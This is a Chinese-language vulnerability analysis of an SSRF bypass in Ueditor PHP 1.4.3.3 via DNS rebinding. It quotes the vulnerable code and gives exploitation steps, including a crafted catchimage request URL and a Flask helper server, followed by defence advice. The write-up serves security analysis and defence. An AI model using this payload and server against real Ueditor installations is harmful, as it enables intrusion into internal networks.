Ueditor PHP Ver 1.4.3.3 - DNS Rebinding Bypass SSRF
字数 1221 2025-08-29 08:31:53
Ueditor PHP Ver 1.4.3.3 - DNS Rebinding Bypass SSRF 漏洞分析与利用
漏洞概述
Ueditor PHP版本1.4.3.3存在一个通过DNS重绑定技术绕过SSRF防护的漏洞。该漏洞存在于图片抓取功能中,攻击者可以利用DNS重绑定技术绕过内网IP检查,实现对内网系统的SSRF攻击。
漏洞分析
漏洞位置
漏洞主要存在于/php/Uploader.class.php文件的saveRemote()方法中,具体是图片抓取功能的实现逻辑。
关键代码流程
-
URL验证阶段:
// http开头验证 if (strpos($imgUrl, "http") !== 0) { $this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK"); return; } -
主机名提取与验证:
preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches); $host_with_protocol = count($matches) > 1 ? $matches[1] : ''; if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) { $this->stateInfo = $this->getStateInfo("INVALID_URL"); return; } -
IP检查阶段:
preg_match('/^https*:\/\/(.+)/', $host_with_protocol, $matches); $host_without_protocol = count($matches) > 1 ? $matches[1] : ''; $ip = gethostbyname($host_without_protocol); if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) { $this->stateInfo = $this->getStateInfo("INVALID_IP"); return; } -
HTTP请求与内容验证:
$heads = get_headers($imgUrl, 1); if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) { $this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK"); return; } $fileType = strtolower(strrchr($imgUrl, '.')); if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")) { $this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE"); return; } -
最终内容获取:
ob_start(); $context = stream_context_create( array('http' => array( 'follow_location' => false // don't follow redirects )) ); readfile($imgUrl, false, $context); $img = ob_get_contents(); ob_end_clean();
漏洞原理
漏洞利用的关键在于DNS重绑定技术。系统在不同阶段对同一域名进行DNS解析时可能得到不同的IP地址:
- 第一次DNS解析发生在
gethostbyname()调用时 - 返回外网IP(通过检查) - 第二次DNS解析发生在
get_headers()调用时 - 可以返回内网IP(实际请求) - 第三次DNS解析发生在
readfile()调用时 - 可以返回内网IP(获取内容)
由于DNS解析结果在不同阶段可能不同,攻击者可以绕过内网IP检查,实现对内网系统的SSRF攻击。
漏洞利用
利用条件
- 可控的DNS服务器,能够实现DNS重绑定
- 目标系统允许对外发起HTTP请求
利用步骤
-
设置DNS重绑定:
- 配置DNS服务器,使得短时间内对同一域名的查询返回不同的IP地址
-
构造恶意请求:
http://target/ueditor/php/controller.php?action=catchimage&source[]=http://malicious-domain/aaa=1%26logo.png -
利用流程:
- 第一次DNS解析(gethostbyname):返回外网IP
- 第二次DNS解析(get_headers):返回攻击者控制的外网服务器IP
- 第三次DNS解析(readfile):返回内网目标IP
-
绕过限制的服务器实现(Python Flask示例):
from flask import Flask, Response from werkzeug.routing import BaseConverter class Regex_url(BaseConverter): def __init__(self,url_map,*args): super(Regex_url,self).__init__(url_map) self.regex = args[0] app = Flask(__name__) app.url_map.converters['re'] = Regex_url @app.route('/<re(".*?"):tmp>') def test(tmp): image = 'Test' resp = Response(image, mimetype="image/jpeg") return resp if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
获取回显内容
由于系统会将获取的内容保存为图片,攻击者可以通过查看返回的图片内容获取SSRF请求的响应。
防御建议
- 禁用不必要的远程资源获取功能
- 加强DNS解析一致性检查:
- 在第一次解析后缓存IP地址,后续请求使用缓存的IP
- 增强URL验证:
- 使用白名单限制允许的域名
- 禁止访问私有IP地址段
- 设置请求超时:
- 限制DNS解析和HTTP请求的超时时间
- 更新到最新版本:
- 检查是否有官方修复版本
注意事项
- DNS重绑定的成功率受DNS缓存影响,可能不稳定
- 需要精心设计攻击流程以确保在不同阶段获得预期的IP地址
- 实际利用时需要考虑目标系统的网络环境和配置
总结
Ueditor PHP 1.4.3.3版本的SSRF漏洞通过DNS重绑定技术绕过了内网IP检查,允许攻击者访问内网资源。该漏洞的关键在于系统在不同阶段对同一域名的DNS解析结果不一致,且没有进行一致性验证。防御此类漏洞需要从多个层面进行防护,包括DNS解析一致性检查、URL验证强化和功能权限控制等。